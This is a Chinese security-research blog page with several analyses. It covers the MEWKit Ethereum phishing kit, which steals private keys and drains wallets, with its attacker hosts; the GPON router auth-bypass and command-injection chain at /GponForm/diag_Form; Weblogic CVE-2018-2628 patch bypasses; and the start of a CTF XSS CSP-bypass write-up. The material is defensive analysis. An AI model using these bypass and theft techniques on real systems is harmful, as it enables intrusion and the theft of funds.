    由于MyEtherWallet完全在客户端运行,并且可以脱机运行,因此攻击者可以下载手动构建它,这正是MEWKit的开发者所做的。MyEtherWallet源代码可以从GitHub下载:https://github.com/kvhnuke/etherwallet

    MEWKit是由一个添加多个脚本的MyEtherWallet组成。 它在页面中嵌入了两个额外的JavaScript资源文件,通常命名为:sm.js和wallet.js 。它们都从合法的MyEtherWallet脚本文件路径相同的目录中加载。

    wallet.js - Configuration

    该脚本充当MEWKit其余部分的配置文件。 它有两个选项来设置:

    js_stat

    这个变量是包含后端地址的字符串,开发者称其为'admin面板' ,此变量的值用于获取转帐资金的接收地址和发送页面上发生的所有事件的日志。

    user_in_page

    虽然变量名称有些模糊,但它只是用来标记启用或关闭日志记录的, 1表示启用日志记录,0表示无日志记录。

    sm.js - Core

    该脚本包含MEWKit的功能部分,并挂接到MyEtherWallet的源代码中。该脚本顶部包含一组全局变量:

    ____pwd

    包含受害者的钱包中的助记符短语或密码/密钥库JSON文件内容。

    ikey

    目前尚未在我们观察到的任何MEWKit版本中使用。它会在所有的回调中发送到后端,但是除了初始值“none”以外,没有被设置其他值。

    txt_ua

    包含受害者的用户代理,并调用navigator.userAgent

    send_block_flg

    包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将send_block_flg设置为0并开始将可用余额转账。标志位为1的话,不会启动任何交易而且会阻止任何正进行的交易。

    balance

    一旦用户登录到MEWKit钓鱼网站,将显用户钱包中的可用余额页面。

    eth_recipient

    包含攻击者控制的用来转移盗取资金的接收地址。

    balance_block_flg

    包含一个二进制0或1标志。一旦受害者解密他们的钱包,ATS就会将balance_block_flg设置为0,开始检查受害者钱包中的可用余额。

    count_flg

    包含一个二进制0或1标志。标志设置为1,会触发假倒计时MEWKit页面。当MEWKit开始获取钱包凭证的时候开始转移可用余额。

    在这些全局变量之后,该脚本包含一组用于进行钓鱼和自动化资金转账的功能。我们不会具体解释每一个功能,但我们会显示套件的执行流程。

    MEWKit 挂钩在 MyEtherWallet 源码中

    MEWKit挂钩了MyEtherWallet的正常功能,我们将逐个浏览它所放置的钩子。MEWKit首次出现在MyEtherWallet源码中主页的<header>部分。 已经添加了两个MEWKit脚本和一个jQuery脚本:

    下图,我们将在<body>标记中找到来自MEWKit的函数调用:

    该功能禁用一个用户的常见功能,即查看他们的钱包信息和余额。它还确保启动事务按钮将禁用页面上的任何其他按钮,确保用户不能去其他地方。

    下一个MEWKit函数调用可以在主体中看到:

    该功能保证欢迎消息能正确地更新,它通常显示的内容为“MyEtherWallet.com” 。因为钓鱼页面的域名不总是与MyEtherWallet.com近似,有时是Ethereum及其变种单词,这个函数调用确保窗口标题和页面信息与用户正在访问的网站相匹配。攻击者不必为他们设置的每个页面更改构建。

    MEWKit的下一个函数被挂接到允许访问者看到钱包余额的按钮上:

    此功能将在用户点击钱包余额按钮时执行,并重定向用到资金转移处,MyEtherWallet代码提供资金转移功能,这样MEWKit可以进行它所需要的交易。

    另外,MEWKit将改变MyEtherWallet页面上的正常视觉效果。 通常情况下,用户所在页面的按钮会突出显示,但MEWKit会突出显示'查看电子钱包信息'按钮,当用户正在转账页面上时,“查看电子钱包信息”按钮也会将用户转到资金转移页面。 当我们访问MEWKit实例时,可以看到这种行为。注意禁用的可见性通常显示的Ether-sending头部:

    从MEWKit到MyEtherWallet的最后一次插入不在HTML页面中,而是在官方源代码中文件:etherwallet-master.js。MyEtherWallet本身是使用AngularJS框架编写的,允许开发人员构建动态功能的网页而不是静态HTML页面。AngularJS允许他们对功能和元素进行模板化,从而更轻松地提供动态网站体验。

    当用户为使用MyEtherWallet的钱包而解码的时候,MEWKit通过添加一个函数调用来挂钩到angular JS。放置的函数叫做PrivateKey_decryptWallet,这将在下一章讨论ATS执行流程中详细介绍。我们可以看到很不好的是javascript源文件中的钩入函数是一个Angular JS文件:

     

    我们可以看到我们本应该查看我们的钱包信息的页面,但是实际却开始了一个事务,如前面的截图所示。 以下是MEWKit的入口获取解密的钱包的内容:

    如图所示,这些功能不会自行开始传输。 上述功能只是准备对用户进行网络钓鱼攻击页面。

    ATS Execution flow

    当用户点击一个MEWKit页面时,它会为钓鱼和ATS功能做好准备,如上所示。后在准备工作中,每次都会执行一个函数,调出后端日志,这只会影响后端wallet.js中的user_in_page变量,将其设置为1(启用日志标注)时执行:

    send_data_login_函数在ATS的整个运行过程中使用,我们将解释它以下功能供以后参考。 MEWKit对后端执行标注的方式非常完美。有趣的是,它基于提供给函数和全局的参数构造一个URL变量。 然后将该URL作为新的脚本资源嵌入主浏览器的主页面中执行标注。 如下所示:

    如图所示,send_data_login_函数构造一个URL,然后将其放入一个新的脚本元素中,附加到文档的<head>。 以下是执行该操作的MEWKit实例的示例:

     

    有意思的是服务器返回一个小的JavaScript片段,它设置一个名为jsess_msg的全局变量,该变量稍后与ATS功能的其余部分相关。 这是后端根据日志消息返回的内容:

    这个函数有另一个版本叫做send_data_login_pv,因为它被修改为记录钱包到后端的私钥,这个版本的格式也可以编码和发送私钥。只有当用户上传私钥访问他们的钱包时,才会调用这个函数,密钥文件内容也被转发到后端。

    当受害者通过使用MyEtherWallet提供的方法解密他们的钱包时,ATS功能开始实际运作,该方法触发PrivateKey_decryptWallet函数的onclick事件。 这个函数遍历用户可以使用的所有不同的身份验证选项并记录用户使用了什么方法,然后它开始自动传输代码。 下面是一个对每种认证方法重复的功能:

    您可以看到MEWKit记录用户使用的认证方法,设置余额并将标志位设置为0并调check_send_block函数。

    在我们跳转到check_send_block函数之前,有一些重要的东西需要理解:这个特定的高亮示例使用send_data_login_pv函数,该函数还会发送钱包的私钥到后端。这意味着MEWKit进行攻击后仍然可以访问受害者的钱包。 如果受害者购买更多以太币,攻击者可以继续盗取受害者的资金。

    这同样适用于另一种验证方法。 使用keyfile / JSON文件上传方法将文件上传到后端这也允许MEWKit攻击者继续访问受害者的钱包:

    函数会将上传的文件发送到后端脚本post.php中由后端路径的js_stat配置变量作为前缀。

    函数将通过查看发送功能是否可用来检查受害者是否成功验证:

    这个函数会一直调用它自己,但会用标志阻塞,直到受害者可以启动交易。

    然后代码跳转到check_balance_block函数:

    虽然这个功能看起来很复杂,但它所做的只是通过手动解析HTML来检查钱包的余额,一旦它可以确定一个可用余额,就会将其记录到后端,并且调用check_valid_balance函数:

    check_valid_balance函数检查余额是否为正数。 如果不是,它会在后端记录一条消息,申明'Stop ATS'。如果检查余额为正数,它将通过调用get_address函数来继续执行流程。 这个功能与日志功能类似,它会构建并嵌入一个脚本资源URL,以便将浏览器调用到后端。 这个用于获取收件人地址的URL是静态的,只添加当前时间戳到URL的末尾。

    时间戳会附加到URL上,因为浏览器通常会很智能地使用它,并且如果相同的资源被追加两次,只会使用缓存的结果。 通过添加此时间戳会生成独一无二的URL,来确保后端服务器的更新响应:

    LoadScript函数创建一个新的脚本元素并将URL设置为由get_address生成的URL。一旦资源被加载,它将调用get_state_address函数继续执行流程。

    get_state_address函数是jsess_msg变量中设置的值的解析器,该变量由后端通过LoadScript函数。 消息的解析如下所示:

    get_state_address通过剪切和切分字符串值响应来解析变量内容,以解析出将被盗资金转移到的接收地址。 如果消息的响应中包含[EMPTY],则MEWKit将停止处理并在日志中记录没有接收地址。 如果它能够从响应中获得地址,它将调用set_data函数,这是转移资金的最后一步。

    set_data函数将通过设置接收地址来准备一个事务去触发输入。并在set_get_trans函数排队延误之前点击传输按钮。点击转移按钮将使用户进入交易概览页面。 然后,set_get_trans函数快速按下按钮以生成事务记录,之后它会对set_yes_mk_trans函数进行排队,然后再确认事务。 这将启动余额转移,从而窃取受害者钱包中的可用余额。

    基本上,这些最后几项功能可以像合法用户那样只需按下按钮便可以自动创建,确认和开始转账。以下是我们上文提到过的MEWKit核心的所有功能:

    这种以自动方式窃取以太坊的功能,和我们之前在钓鱼工具包中看到过的不一样。

    MEWKit服务器端

    如上所示,MEWKit的主要功能,如部分ATS,能在JavaScrip客户端中完全运行。MEWKit的后端仅用于:

    • 日志存储:ATS中的每个步骤都会记录下每个受害者,并将其全部报告给后端
    • 私钥和密码存储:如果用户使用助记符或密码登录,则会记录和在C2上提取并存储以供以后访问。
    • 提供接收地址:将参与收件人的地址保留在后端和传送给被钓鱼的客户。

    在大多数情况下,MEWKit实例的后端服务器为攻击者提供了他们正在从事的工作的概况。

    MEWKit的限制:硬件钱包

    虽然MyEtherWallet支持各种硬件钱包,如Trezor8,Ledger Wallet9,Digital,Bitbox10和Secalot11,但却不支持从这些钱包中获取密钥。这意味着那些在使用硬件钱包时被MEWKit钓鱼的人不会受到MEWKit的ATS的影响,但仍然需要在处理之前确认其钱包上的交易。因为硬件钱包的私钥存储在内部,因此不会暴露于MEWKit。

    突发的原因不明的的交易是打击MEWKit的一个标志,当然也不会接受交易所需要采取的措施。MEWKit会记录所有尝试使用硬件钱包的登录信息,它只是无法使用其ATS功能自动进行资金转账。

    活动的历史概述

    以下部分概述了我们在RiskIQ数据库中集中观察到的所有数据攻击。以下各节中提到的AnyIOC也可以在本报告末尾的妥协指标(IOC)部分中找到。

    请注意,我们没有描述观察到的每个MEWKit钓鱼网站,只列出了那些因各小节中描述的原因而可以进行钓鱼攻击的钓鱼网站。我们观察到的所有主机的完整列表可以在本报告结尾附近的“妥协指标”部分找到。

    权限边缘之亚马逊53

    4月24日11:00 UTC过后的一会儿,针对与亚马逊路由5312相关的IP空间执行了边界网关协议(BGP)劫持,该路由是亚马逊DNS供应系统。这意味着未经授权的用户可以重新将路由一部分旨在AmazonRoute 53的流量传输到自身,并将域分辨率重新路由到他们自己选择的端点。

    重新路由MyEtherWallet访客

    通常在亚马逊的AS16509下宣布(并维护)的以下IP块已由eNet在AS1029713下公布:

    205.251.192.0/24
    205.251.193.0/24
    205.251.195.0/24
    205.251.197.0/24
    205.251.199.0/24

    这些IP地址是Amazon Route 53为通过此服务维护的任何域执行DNS路由的一部分。驻留在AS10297中的上述IP块的新端点开始路由预定用于路由53的一些流量并回复来自用户的DNS查询。

    实际上,我们可以看到这个AS宣布的前缀相对于它通常所宣称的非常固定的一组块而言:

    Source: https://bgp.he.net/AS10297

    最终处理通常用于Route 53的流量的DNS服务器只设置了一个域来解决:myetherwallet.com。任何其他请求的域名都会被SERVFAIL响应,这是人们已经注意到的。新的DNS服务器响应一个新的IP地址MyEtherWallet,46.161.42.42,驻留在AS41995。根据地理位置,这台服务器来自俄罗斯。如果我们提供一些有关此AS的WHOIS信息,会发现它并不是一个好兆头。

    在东欧分配一个AS,并在WHOIS中使用Gmail等免费服务的电子邮件地址通常是一个不好的迹象。我们可以从组织WHOISdetails中获得更多有关此地址的信息:

    根据WHOIS信息,自2014年底以来,电子邮件地址的域名一直存在,并且其详细信息始终存在于WHOIS隐私服务之后。目前,主网站onweb-shield.biz处于离线状态,但通过查看档案数据,我们可以找到一个旧的托管公司网站:

    Webshield对我们行业中的许多人来说都很熟悉,因为在他们的网站中有许多用于恶意目的的网站IP空间,其中一个例子是Rescator15。我们最感兴趣的是拥有这个AS的主机却已经关闭了它的网站托管网站,但仍然提供了托管机会。我们可以将Webshield定义为一个防弹主机。

    以太劫持:通过MEWKit实现资金转账自动化

    虽然对亚马逊Route 53的攻击非常复杂,但攻击者用于托管在Webshield AS上的服务器上的钓鱼站点的设置却不复杂。他们在服务器上放置的证书实际上并不是有效的证书,他们使用WHOIS隐私服务背后的myetherwallet [.]com创建了自己的自签名证书。这里是以太钱包WHOIS:

    Source: https://community.riskiq.com/search/myetherwallet.com

    以下是我们在使用MEWKit的Webshield主机上观察到的SSL证书:

    Source: https://community.riskiq.com/search/certificate/sha1/4ee8ad8ef36d1e4461526997b78415b6dc306ee3

    攻击者只需根据WHOIS详细信息生成证书,该证书由几乎任何现代Web浏览器标记。然而,人们好像还是忽略了这些警告选择了点击,即使有人报告资金被MEWKit从他们的以太钱包中撤出。

    MEWKit页面本身与任何正确构建钓鱼页面一样,看起来与正常的以太钱包网站完全相同:

    然而,我们在这次攻击中看到的设置与我们在正常MEWKitinstall上看到的不同。如果我们看一下文档对象模型(DOM),我们会看到正常的MEWKit脚本(顶部MEWKit,底部MyEtherWallet.com):

    注意,脚本没有以任何方式混淆 ,看起来他们似乎是正确的。如果我们看看wallet.js,其中包含日志记录配置和后端位置,我们得到这个:

    第一个变量将报告后端设置为http://46.161.42.42/pind/,第二个变量不可用日志记录。如果我们转到sm.js,我们已经可以在脚本的顶部看到添加了附加变量的一些更改:

    正如上面MEWKit的功能所解释的,eth_recipient变量与被盗资金的接收者有关。如果我们检查get_state_address函数通常设置(单个)的eth_recipient变量值,我们看到开发者一直在实现多个收件人地址。该代码仍然包含注释部分,开发者忘记将添加的eth_recipient_n变量注释掉,因为它们没有被使用。

    该函数还包含一个注释掉的console.log调用,该调用会将消息记录到控制台。这让我们更加确定开发者正在测试用于脚本攻击的新功能。

    通过这个图表,我们可以找到更多俄文评论的证据。我们翻译了所有评论,并根据所用的措辞,很可能由熟悉财务条款的俄语母语人士撰写(有关下文的更多信息)。我们将逐个评论。在他们不直接翻译成英文的情况下,我们会做出解释。

    上面的文字‘проверяем доступность секции с траншем’提到在代码段中检查‘траншем’的可用性,这是一个有趣的用词和重要的发现。 该注释是关于下面的代码将通过钱包地址来获得钱包中资金的总余额的事实。 ‘траншем’这个词是‘ranche’的俄语,来自法语单词,表示交易的一部分或一部分。

    第一条注释‘получаем баланс’,即’得到平衡’,第二条注释’баланс’是平衡’一词,第三条注释,’стоп работ’,意为’停止工作’,这能说得通是因为当程序检查到余额为0的时候来到了这条正确的分支,意味着ATS没有资金可以转移而程序可以停止工作了。

    第一条注释,’оставить кошелек получателя’,翻译过来就是’设置收款人的钱包’,这与设置从钓鱼受害者的钱包中转移资金的交易收款人钱包地址的函数有关。第二条注释,’отправить весь баланс в эмаунт ’,翻译过来就是’将全部余额转移’。这句话中的最后一个单词’эмаунт’是拼写为西里尔文的非俄语单词。

    这些注释的出现意味着脚本的作者是一个以俄语为母语并至少拥有一定财务知识的人。

    结论

    自事件发生以来,已经发布了很多关于这次具体攻击的具体细节,但我们决定更深入地了解到底发生了什么,并挖掘出与MEWKit相联系的额外见解。 亚马逊Route 53劫持(事件)只有一个目标。 虽然这次袭击的范围相对较小,但其范围可以更为巨大。

    互联网是在几十年前创建的,并不是所有的构建模块都已经过时了 - BGP和DNS仍然是我们全球互联网中存在问题但至关重要的一部分。 与大多数网络安全问题一样,针对这些类型的攻击也有解决方案,但它们的效果取决于链中的每个人都加强安全性并部署解决方案。

    IDN Phishery

    几乎所有MEWKit实例都要注意的一点是攻击者利用国际化域名(IDNs)。 国际化域名攻击并不新鲜,但遗憾的是,它们在利用MEWKit的攻击中似乎非常有效。

    浏览器正在迎头赶上去解决这个问题,Firefox和Chrome都实现了一个非常简单的算法来检查域名中的所有字符是否属于同一种语言。 如果不是,则显示以'xn--'开头的IDNA符号。 这个过滤器确实可以防止MEWKit的大量攻击,因为攻击者们使用来自西里尔文,希腊文,亚美尼亚文和希伯来文的特殊语言字符来替换带有特殊字符变体的字母。

    当然,那些仍然会通过这些过滤器,我们希望在MyEtherWallet交易的每个人时保持小心。 请密切关注您打开的是哪个网址,最好是使用MyEtherWallet的书签页或自己输入域名。 不要使用来源于电子邮件,社交媒体的链接。

    不同之处

    MEWKit战役中使用的大多数域和主机都使用非常特定的格式来模仿MyEtherWallet。 然而一个运行MEWKit的主机却不一样,经过仔细检查后发现其运行了一些令人好奇的脚本。 有问题的主机是tikkiepayment.info,托管在31.31.196.186。 4月9日,MEWKit实例被托管在myyetherwallett.com/myether/,它从以下位置加载它的MEWKit脚本:

    其后台地址在 wallet.js 脚本中被设置为 https://tikkiepayment.info/showpanel/ ,wallet.js 中还包含着解释变量的注释:

    我们还发现位于同一主机上其他MEWKit的后台路径地址:

    如果我们检查一下主机tikkiepayment.info,我们发现一些之前从来没有在其他MEWKit实例中见到过的奇怪的东西:它为攻击者运行着与MEWKit无关的基于web的工具。在 https://tikkiepayment.info/pv/ 上,托管着一个允许攻击者使用MyEtherWallet API来批量检查Ethereum keys的工具:

    尽管网络犯罪中窃贼之间通常不存在荣誉,但该工具是其他人可以使用的精简版MyEtherWallet,它检查帐户是否有效并且有一些余额。根据服务器上存在的工具以及它是我们曾经观察过MEWKit上的第一台主机的事实,我们认为这台主机是由MEWKit的创建者设置的。此外,根据本报告底部IOC部分显示的注册信息,域名会在任何MEWKit主机设置之前一个月进行登记。

    走出以太坊

    尽管我们不能确切的说MEWKit操作是单一攻击者,但我们确实发现了MEWKit实例和其他加密货币和加密货币交易所的钓鱼页面之间的一些有趣链接。

    4月17日,MEWKit实例在www.xn--myetherwalle-occ.com上正式运行,它的MEWKit脚本从以下位置加载:

    后端位置托管在,但另一个MEWKit实例直接托管在cdnsfiles.com上,其资源从上述同一位置加载,后端位置设置为cdns文件的.com / ADM /。

    我们看到另一个网站从cdnsfiles.com加载资源,这不是MEWKit实例,而是blockchain.info的钓鱼页面。 该页面本身是一个普通的钓鱼网站,并没有包含MEWKit所拥有的ATS组件 - 它只是收获了登录凭证。 然而,更有趣的是它从以下位置加载资源:

    它在用于MEWKit的同时使用cdnfiles.com作为其钓鱼资源,这告诉我们MEWKit背后的攻击者拥有非常广泛的钓鱼页面组合。如果我们查看钓鱼页面的主机,185.207.205.16,我们发现另一大部分钓鱼域名主要关注blockchain.info。 然而,Coinbase也有一个IDN网络钓鱼:

    资源: https://community.riskiq.com/search/185.207.205.16

    综上所述,因为此报告仅关注MEWKit ,所以RiskIQ PassiveTotal中的域名尚未添加到本报告的IOC部分。然而,由于它提供了MEWKit,因此在本报告IOC部分中提到的IP地址将提供足够的数据点来开始单独的调查。

    总结

    MEWKit自今年年初就一直被广泛使用了,尽管我们在2018年以前都没见过它,但或许MEWKit在外界早已以不同的功能或形式活跃了。BGP劫持亚马逊Route 53的行为显示了它驱动的攻击者和活动的持续性,执行其攻击的成本表明MEWKit异常成功,技术虽然简单,但却有效地窃取了以太坊。

    正如我们在MEWKit的技术分析中所解释的那样,我们无法估计攻击者的收益,因为我们无法知道攻击者控制了多少钱包和地址,这是由于MyEtherWallet的设置方式是以每个受害者为基础发放的地址的。区块链的架构,特别是以太坊允许每个人通过公簿洞察钱包地址余额,但它也维护了所有者的完全匿名性。直到攻击者被抓获或执法部门提供MEWKit攻击中使用的精确地址的见解前,我们永远不会知道其确切的运作。

    我们确实知道,各种钱包已经在社交媒体和论坛上发布,表面上收入可能达数百万美元,但我们无法高度自信地将其与MEWKit联系起来。 然而,随着注册域名数量的增加,服务器维护的增多以及活动水平的提高,我们可以推测这次攻击的收入必须足够丰厚,不仅能够维持运营,而且还能盈利。

    妥协指标

    以下部分包括我们观察到的所有直接属于MEWKit的IOC(控制反转)以及IOC的行为,这些IOC同样可以用于自动化的PassiveTotal项目:https://community.riskiq.com/projects/27cddf0e-a912-1ca7-5a9e-6182d3674045

    以下IP地址被检测到正在执行MEWKit实例,并且与列表下方列举在表格中的一个或多个域名相关联。

    以下是包含注册日期及用于注册的电子邮件地址的详细域名列表。如果电子邮件地址丢失,这意味着该字段默认由隐私服务或注册商填写。由MEWKit建立和用于活动的域名的注册日期紧密重合。

    高端渗透测试服务,请访问http://www.scanv.com
    招贤纳士:tiancy@knownsec.com

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/608/

    作者:Nanako | Categories:安全研究技术分享 | Tags:
  • GPON Home Gateway 远程命令执行漏洞分析

    2018-08-27

    作者:dawu@知道创宇404实验室
    日期:2018/05/04

    0x00 前言

    2018/04/30,vpnMentor公布了 GPON 路由器的高危漏洞:验证绕过漏洞(CVE-2018-10561)和命令注入漏洞(CVE-2018-10562)。将这两个漏洞结合,只需要发送一个请求,就可以在 GPON路由器 上执行任意命令。本文在复现该漏洞的基础上,分析了相关漏洞形成的原因。

     

    0x01 漏洞文件定位

    在有回显的远程命令执行漏洞中,使用 ps 命令往往能够很好地定位到漏洞点。

    可以很明显地看到,进程14650执行了我们的命令,找到上一个进程14649 root /bin/WebMgr -p 20 -s 0。因为 pid 是递增的,所以很可能是 /bin/WebMgr 这个文件存在漏洞。

     

    0x02 漏洞分析

    在获取到某设备的 /bin/WebMgr/lib/ 文件后,我们开始分析。

    2.1 分析前

    分析前研究了这个漏洞的利用,发现了该web服务器是 GoAhead-webs

    根据 Server字段判断,该web服务器的版本 <= GoAhead 2.5.0GoAhead 3.x 版本的 Server 默认为 GoAhead-http

    在尝试 https://www.seebug.org/search/?keywords=goahead&page=2已有的 GoAhead 2.x 系列的漏洞无果,推测该web服务器可能基于 GoAhead2.5.0版本进行了二次开发。

    2.2 验证绕过漏洞

    ida 打开 WebMgr 后发现函数流程并不完整,所以使用了简单粗暴的方式,直接搜索 images/,定位到函数 webLoginCheck

    但是该函数在 WebMgr 中并没有被调用,故这里我们结合漏洞作出合理猜测:

    当该函数 return 0时表示不需要验证

    结合函数逻辑,我们可以知道:当 url 中含有 style/,script/时也可以绕过验证。

    2.3 命令执行漏洞

    由于之前读过 GoAhead 2.1.8的源码,所以知道 WebMgr 中定义 cgi 的逻辑为:

    先通过 websFormDefine 定义不同的cgi接口要调用的函数,然后再通过 websUrlHandlerDefine 加载 websFormHandler

    举个例子:

    这意味着当 url 中的 path/GponForm 开头时,会使用 websFormHandler 去处理,然后 websFormHandler 会寻找通过 websFormDefine() 定义的各种路径,然后调用对应的函数。 在这里,就是访问 /GponForm/FloidForm 时会调用 sub_1C918 完成相关操作。

    exp 中,通过对 /GponForm/diag_Form 发送请求最终实现了命令执行。根据上文,可以找到 /GponForm/diag_Form 调用了函数 sub_1A390,结合 system() 的调用流程,我们可以知道 sub_1A390 调用了 sub_1A684,最终通过 system() 执行命令。

    按照流程分析入下图:

    sub_1A684中, 主要还是判断传入的 dest_host 是否合法。如果不合法或者无法解析,将会进行如下处理:

    这也可以从我们第一张图:执行 ps 命令的结果中得到验证。

     

    0x03 影响范围

    根据 ZoomEye网络空间搜索引擎 的探测结果,一共有 2141183 台路由器可能受该漏洞影响。

    相关国家分布如图所示:

     

    0x04 结语

    在分析漏洞后,我们尝试寻找该类路由器所属的厂商。在 /web/images/下,我们找到了多个国内外厂商的 logo,但是未有其它证据证明这些路由器属于这些厂商。

    在查阅其它资料后,我们更倾向于这些路由器是 OEM 或者 ODM 出来的产品。因为很难找到生产厂商,所以修复工作将会更加困难。由于该漏洞影响范围广,利用简单,危害巨大,各大僵尸网络家族很可能会将该漏洞列入其利用库,需要警惕。

     

    0x05 参考链接

     

    1. vpnMentor公布的 GPON 路由器的漏洞
      https://www.vpnmentor.com/blog/critical-vulnerability-gpon-router/
    2. Seebug漏洞平台 收录该漏洞
      https://www.seebug.org/vuldb/ssvid-97258
    3. ZoomEye网络空间搜索引擎 搜索结果
      https://www.zoomeye.org/searchResult?q=%22GPON%20Home%20Gateway%22

    本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/593/

    作者:Nanako | Categories:技术分享漏洞通告 | Tags:
  • Weblogic 反序列化漏洞(CVE-2018-2628)漫谈

    2018-04-25

    作者:Badcode@知道创宇404实验室

    漏洞简介

    2018年4月18日,Oracle官方发布了4月份的安全补丁更新CPU(Critical Patch Update),更新中修复了一个高危的 WebLogic 反序列化漏洞CVE-2018-2628。攻击者可以在未授权的情况下通过T3协议对存在漏洞的 WebLogic 组件进行远程攻击,并可获取目标系统所有权限。

    漏洞影响

    • Weblogic 10.3.6.0
    • Weblogic 12.1.3.0
    • Weblogic 12.2.1.2
    • Weblogic 12.2.1.3

    Weblogic 反序列化漏洞历程

    这里简单的说下几个有公开利用方式的Weblogic反序列化漏洞。

    CVE-2015-4852

    2015年11月6日,FoxGlove Security 安全团队的 @breenmachine 发布的一篇博客中介绍了如何利用Java反序列化和 Apache Commons Collections 这一基础类库来攻击最新版的 WebLogic、WebSphere、JBoss、Jenkins、OpenNMS 这些大名鼎鼎的Java应用,实现远程代码执行。CVE-2015-4852就是利用 Weblogic 中的Commons Collections 库来实现远程代码执行。查看了CVE-2015-4852的补丁(p21984589_1036_Generic),发现 Weblogic 采用的黑名单的形式来修复这个漏洞。

    但是这种修复方式很被动,存在被绕过的风险,只要发现可用并且未在黑名单之外的反序列化类,那么之前的防护就会被打破,系统遭受攻击。而后的漏洞也证明了这一点。

    CVE-2016-0638

    Weblogic的反序列化的点有着三个,黑名单ClassFilter.class也作用于这三个位置。

    • weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
    • weblogic.rjvm.MsgAbbrevInputStream.class
    • weblogic.iiop.Utils.class

    有人发现利用weblogic.jms.common.StreamMessageImplreadExternal()也是可以进行反序列化操作的,而且这个不受黑名单限制,所以可以绕过了之前的补丁。

    CVE-2016-3510

    ​ 原理是将反序列化的对象封装进了weblogic.corba.utils.MarshalledObject,然后再对 MarshalledObject进行序列化,生成 payload 字节码。反序列化时 MarshalledObject 不在 WebLogic 黑名单里,可正常反序列化,在反序列化时 MarshalledObject对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化,这样就逃过了黑名单的检查。

    CVE-2017-3248

    ​ Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。

    ​ 这个漏洞就是利用 RMI 机制的缺陷,通过 JRMP 协议达到执行任意反序列化 payload 的目的。使用 ysoserial 的 JRMPLister,这将会序列化一个 RemoteObjectInvocationHandler,该RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。 此连接使用 JRMP 协议,因此客户端将反序列化服务器响应的任何内容,从而实现未经身份验证的远程代码执行。

    CVE-2018-2628 漏洞分析

    ​ 首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。

    这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload,即可绕过这个判断限制。

    仿照JRMPClient写一个JRMPClient2,重新编译。

    生成 payload:

    可以对比以下JRMPClientJRMPClient2 生成的 payload。

    除了 RMI 接口不一样,其他都是一样的。

    JRMPLister开启

    我测试的 Weblogic 版本是10.3.6.0.170117,即已修复了CVE-2017-3248漏洞,在我本地的环境中,CommonsCollections这个 payload 已经失效了。Weblogic 的commons-collections.jar版本已经升级,所以我这里 payload 用的是Jdk7u21(这个 payload 只有在 JRE 版本小于等于 1.7u21 才起作用)。在commons-collections.jar版本没有升级的 Weblogic 中,使用CommonsCollections 这个 payload 是可以的。

    使用 t3 协议脚本发送 p_client2,可以看到JRMPLister有请求过来了,客户端命令也执行成功了。

    作为对比,将JRMPClient生成的 p_client 也发送过去,可以看到报错信息Unauthorized proxy deserialization,正是黑名单拦截抛出的错误。

    可见java.rmi.activation.Activator是绕过了CVE-2017-3248的补丁了。

    另外一种绕过补丁的方式

    这种方式是我在复现漏洞时尝试 payload 的时候发现的,绕过的方式和CVE-2016-0638有关。

    StreamMessageImpl这个点在反序列化的时候没有resolveProxyClass检查。所以可以使用StreamMessageImplRemoteObjectInvocationHandler序列化,以此来绕过resolveProxyClass函数。相当于使用CVE-2016-0638的利用方式加上CVE-2017-3248的 payload 来绕过补丁。

    JRMPClient生成的 payloadObject 用StreamMessageImpl封装生成新的 payload——p_stream。

    使用脚本发送,可以看到,成功执行了命令。

    CVE-2018-2628补丁分析

    初步比对补丁(p27395085_1036_Generic),发现WeblogicFilterConfig.class的黑名单多了一个sun.rmi.server.UnicastRef

    但是根据我的实际测试,命令还是可以执行成功,貌似补丁没起作用。

    总结

    ​ 总的来说,Weblogic 反序列化漏洞就是在不停的修复-绕过-修复-绕过……最精彩的永远是下一个

    参考链接

    作者:dawu | Categories:技术分享 | Tags:
  • TCTF/0CTF2018 XSS Writeup

    2018-04-18

    作者:LoRexxar’@知道创宇404实验室

    刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。

    其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过strict-dynamicCSP的利用方式。

    h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。

    h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。

    其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西…

    bl0g

    题目分析

    很有趣的题目,整个题的难点在于利用上

    站内的功能都是比较常见的xss功能

    1. new 新生成文章
    2. article/xx 查看文章/评论
    3. submit 提交url (start with http://202.120.7.197:8090/)
    4. flag admin可以查看到正确的flag

    还有一些隐藏的条件

    1、CSP

    挺有趣的写法,经过我的测试,两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。

    换个说法就是,假设我们通过动态生成script标签的方式,成功绕过了第二个CSP,但我们引入了<script src="hacker.website">,就会被第一条CSP拦截,很有趣的技巧。

    从CSP我们也可以简单窥得一些利用思路,base-uri 'none'代表我们没办法通过修改根域来实现攻击,default-src 'none'这其中包含了frame-src,这代表攻击方式一定在站内实现,script-src的双限制代表我们只能通过<script>{eval_code}的方式来实现攻击,让我们接着往下看。

    2、new中有一个字段是effect,是设置特效的

    effect字段会插入到页面中的<input type="hidden" id="effect" value="{effect_value}">,但这里实际上是没有任何过滤的,也就是说我们可以通过闭合这个标签并插入我们想要的标签,需要注意的是,这个点只能插入70个字符

    3、login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转

    4、站内的特效是通过jqery的append引入的,在article.js这个文件中。

